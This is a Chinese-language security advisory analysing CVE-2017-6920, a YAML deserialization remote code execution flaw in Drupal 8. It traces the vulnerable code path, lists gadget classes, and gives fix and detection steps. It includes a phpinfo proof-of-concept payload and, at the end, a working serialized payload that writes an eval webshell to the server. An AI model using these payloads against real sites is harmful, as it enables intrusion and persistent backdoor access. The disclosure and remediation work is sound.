[漏洞分析]
0x01 漏洞描述
2017年6月21日,Drupal官方发布了一个编号为CVE-2017- 6920 的漏洞,影响为Critical。这是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core。
0x02 漏洞分析
通过diff 8.3.3与8.3.4的文件可以发现漏洞的触发点,如下图:
可以看到,8.3.4 decode
函数的开始处增加了如下的代码:
if (!isset($init))
{ // We never want to unserialize !php/object.
ini_set('yaml.decode_php', 0);
$init = TRUE;
}
漏洞所在函数decode
的触发点代码如下:
$data = yaml_parse($raw, 0, $ndocs, [
YAML_BOOL_TAG => '\Drupal\Component\Serialization\YamlPecl::applyBooleanCallbacks', ]);
decode
函数的参数$raw
被直接带入了yamlparse
函数中,官方文档对于yamlparse
函数的描述如下:
yamlparse
(PECL yaml >= 0.4.0) yaml_parse — Parse a YAML stream
Description
mixed yaml_parse ( string $input [, int $pos = 0 [, int &$ndocs [, array $callbacks = null ]]] ) Convert all or part of a YAML document stream to a PHP variable.
Parameters
input The string to parse as a YAML document stream.
pos Document to extract from stream (-1 for all documents, 0 for first document, ...).
ndocs If ndocs is provided, then it is filled with the number of documents found in stream.
callbacks Content handlers for YAML nodes. Associative array of YAML tag => callable mappings. See parse callbacks for more details.
Return Values
Returns the value encoded in input in appropriate PHP type or FALSE on failure. If pos is -1 an array will be returned with one entry for each document found in the stream.
第一个参数是需要parse成yaml的文档流。从上文来看,只有yaml_parse
的第一个参数是外部可控的。官方对这个函数有一个特别的说明,也就是该漏洞的触发原理:
Notes
Warning Processing untrusted user input with yamlparse() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decodephp ini setting.
即可以通过!php/object
来声明一个节点,然后用这个!php/object
声明的节点内容会以unserialize的方式进行处理;如果要禁止这样做,就通过设置yaml.decode_php
来处理,这就是官方补丁在decode
函数前面加的那几行代码。因此,这个远程代码执行漏洞的罪魁祸首就是yaml_parse
函数可能会用反序列化的形式来处理输入的字符串,从而导致通过反序列化类的方式来操作一些危险类,最终实现代码执行。 显然,控制decode
函数的参数即可触发该漏洞。先定位decode
函数的调用位置,在/core/lib/Drupal/Component/Serialization/Yaml.php
中第33行发现:
public static function decode($raw) {
$serializer = static::getSerializer();
return $serializer::decode($raw);
}
该函数调用了getSerializer
函数,跟踪该函数在/core/lib/Drupal/Component/ Serialization/Yaml.php
中第48行发现:
protected static function getSerializer() {
if (!isset(static::$serializer)) {
// Use the PECL YAML extension if it is available. It has better
// performance for file reads and is YAML compliant.
if (extension_loaded('yaml')) {
static::$serializer = YamlPecl::class;
}
else {
// Otherwise, fallback to the Symfony implementation.
static::$serializer = YamlSymfony::class;
}
}
return static::$serializer;
}
如果存在yaml扩展,$serializer
就使用YamlPecl
类,然后调用YamlPecl
这个类中的decode
函数;如果不存在yaml扩展,就用YamlSymfony
类中的decode
函数。显然,一定要迫使代码利用YamlPecl
类中的decode
函数,这需要引入yaml扩展,Linux平台的步骤如下:
(1)编译yaml
在http://pecl.php.net/package/yaml
下载tgz源码包,然后执行tar -zxvf yaml-1.3.0.tgz cd yaml-1.3.0 phpize ./configure make make install
,执行完返回一个文件夹名字,这就是生成的扩展所在目录。
(2)引用扩展
修改php.ini中的extension_dir
为该扩展所在目录,然后加上 extension=yaml.so
就可以了。
windows平台步骤更简单,在http://pecl.php.net/package/yaml
中下载对应的dll文件,然后将php_yaml.dll
放入php扩展文件夹下,然后修改php.ini,将extensiondir
为phpyaml.dll
所存放的目录,然后加上 extension=php_yaml.dll
。
最后重启apache,看到phpinfo中有yaml扩展,就说明安装成功,如图:
现在yaml扩展已经准备好,最后定位外部可控的输入点。上文中YamlPecl::decode
是在Yaml::decode
函数中调用的,继续回溯全文调用Yaml::decode
函数的地方,发现外部可控的地方只有一处, 在/core/modules/config/src/Form/ConfigSingleImportForm.php
中第280行:
public function validateForm(array &$form, FormStateInterface $form_state) { // The confirmation step needs no additional validation. if ($this->data) { return; }
try {
// Decode the submitted import.
$data = Yaml::decode($form_state->getValue('import'));
}
catch (InvalidDataTypeException $e) {
$form_state->setErrorByName('import', $this->t('The import failed with the following message: %message', ['%message' => $e->getMessage()]));
}
这里对外部输入的import值进行Ymal::decode
操作,因此这里就是漏洞的数据触发点。
要利用该漏洞进行远程代码执行,需要一个可以利用的类。Drupal使用命名空间的方式来管理类,可以全局实例化一个类,也可以反序列化一个类;该漏洞利用了反序列,因此需要找一个反序列类。通过_destruct
以及_wakeup
来定位类,全局搜索可以找到几个可利用的类。
(1)/vendor/symfony/process/Pipes/WindowsPipes.php
中的89行:
public function __destruct()
{
$this->close(); $this->removeFiles();
}
private function removeFiles()
{
foreach ($this->files as $filename)
{ if (file_exists($filename)) { @unlink($filename); } }
$this->files = array();
}
通过反序列化这个类可以造成一个任意文件删除。
(2)/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
中第37行:
public function __destruct() { $this->save($this->filename); }
/**
Saves the cookies to a file. *
@param string $filename File to save
@throws \RuntimeException if the file cannot be found or created */
public function save($filename) {
$json = [];
foreach ($this as $cookie) { /* @var SetCookie $cookie */
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = \GuzzleHttp\jsonencode($json);
if (false === fileput_contents($filename, $jsonStr))
{ throw new \RuntimeException("Unable to save file {$filename}"); }
}
通过反序列化这个类可以造成写入webshell。
(3)/vendor/guzzlehttp/psr7/src/FnStream.php
中第48行:
public function __destruct() {
if (isset($this->_fn_close)) { call_user_func($this->_fn_close); }
}
通过反序列化这个类可以造成任意无参数函数执行。
0x03 漏洞验证
启明星辰 ADLab 通过对本漏洞的深度分析,构造了任意无参数函数的POC并测试验证成功,具体验证情况如下:
第一步:序列化一个GuzzleHttp\Psr7\FnStream
类, 因为序列化后的字符串可能带有不可显示字符,所以采用把结果写入到文件的方式,序列化后的字符串如图:
第二步:给该序列化字符串加上yaml的!php/object
tag(注意一定要转义),最后得到的字符串如下:
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
第三步:登录一个管理员账号,访问如下url: http://localhost/drupal833/admin/config/development/configuration/single/import
,然后我们进行如图所示的操作:
然后点击import按钮,就会执行phpinfo函数。
0x04 漏洞修复
最新发布的Drupal 8.3.4 已经修复了该漏洞,针对低于8.3.4的版本也可以通过升级Drupal文件/core/lib/Drupal/Component/Serialization/YamlPecl.php
中的decode
函数进行防御(添加如下红色代码即可):
public static function decode($raw) {
static $init;
if (!isset($init)) {
// We never want to unserialize !php/object.
ini_set('yaml.decode_php', 0);
$init = TRUE;
}
// yaml_parse() will error with an empty value.
if (!trim($raw)) {
return NULL;
}
......
}
0x05 漏洞检测
针对该漏洞,可采用两种方法进行检测:
方法一:登陆Drupal管理后台,查看内核版本是8.x,且版本号低于8.3.4,则存在该漏洞;否则,不存在该漏洞;
方法二:在Drupal根目录下找到文件/core/lib/Drupal/Component/Serialization/ YamlPecl.php
,定位到函数public static function decode($raw)
,如果该函数代码不包含" ini_set('yaml.decode_php', 0);"
调用,则存在该漏洞;否则,不存在该漏洞。
神奇的PoC:
!php/object "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:41:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0filename\";s:32:\"/var/www/html/drupal-8.3.3/x.php\";s:52:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0storeSessionCookies\";b:0;s:36:\"\0GuzzleHttp\\Cookie\\CookieJar\0cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\0GuzzleHttp\\Cookie\\SetCookie\0data\";a:9:{s:4:\"Name\";s:3:\"foo\";s:5:\"Value\";s:3:\"bar\";s:6:\"Domain\";s:27:\"<?php @eval($_POST['c']);?>\";s:4:\"Path\";s:1:\"/\";s:7:\"Max-Age\";N;s:7:\"Expires\";i:1504698708;s:6:\"Secure\";b:0;s:7:\"Discard\";b:0;s:8:\"HttpOnly\";b:0;}}}s:39:\"\0GuzzleHttp\\Cookie\\CookieJar\0strictMode\";N;}"